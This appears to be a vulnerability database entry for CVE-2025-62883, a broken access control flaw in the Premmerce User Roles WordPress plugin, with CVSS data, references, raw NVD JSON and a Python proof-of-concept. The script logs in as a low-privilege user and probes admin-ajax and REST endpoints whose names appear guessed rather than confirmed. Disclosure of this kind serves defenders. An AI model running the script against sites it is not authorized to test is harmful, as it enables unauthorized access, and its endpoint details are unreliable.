CVE-2025-62883

Description

Missing Authorization vulnerability in Premmerce Premmerce User Roles premmerce-user-roles allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Premmerce User Roles: from n/a through <= 1.0.13.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Premmerce User Roles <= 1.0.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-62883 PoC - Premmerce User Roles Broken Access Control
# Target: WordPress site with Premmerce User Roles plugin <= 1.0.13

target_url = "http://target-wordpress-site.com"

# Low-privilege user authentication
session = requests.Session()
login_data = {
    "log": "low_privilege_user",
    "pwd": "user_password",
    "wp-submit": "Log In"
}

# Authenticate as low-privilege user
session.post(f"{target_url}/wp-login.php", data=login_data)

# Exploit: Access admin-only functionality without proper authorization
# The plugin fails to check user capabilities before executing privileged operations

endpoints_to_test = [
    "/wp-admin/admin-ajax.php?action=get_premmerce_user_roles",
    "/wp-admin/admin-ajax.php?action=premmerce_user_roles_save",
    "/wp-json/wp/v2/premmerce-user-roles"
]

for endpoint in endpoints_to_test:
    response = session.get(f"{target_url}{endpoint}")
    if response.status_code == 200:
        print(f"[+] Vulnerable endpoint found: {endpoint}")
        print(f"Response: {response.text[:500]}")
    else:
        print(f"[-] Endpoint protected or not found: {endpoint}")

print("\n[*] Note: Update Premmerce User Roles to latest version to fix this vulnerability.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62883
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62883
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62883/
[4] VulDB https://vuldb.com/cve/CVE-2025-62883
[5] https://patchstack.com/database/Wordpress/Plugin/premmerce-user-roles/vulnerability/wordpress-premmerce-user-roles-plugin-1-0-13-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62883", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:47.090", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Premmerce Premmerce User Roles premmerce-user-roles allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Premmerce User Roles: from n/a through <= 1.0.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/premmerce-user-roles/vulnerability/wordpress-premmerce-user-roles-plugin-1-0-13-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}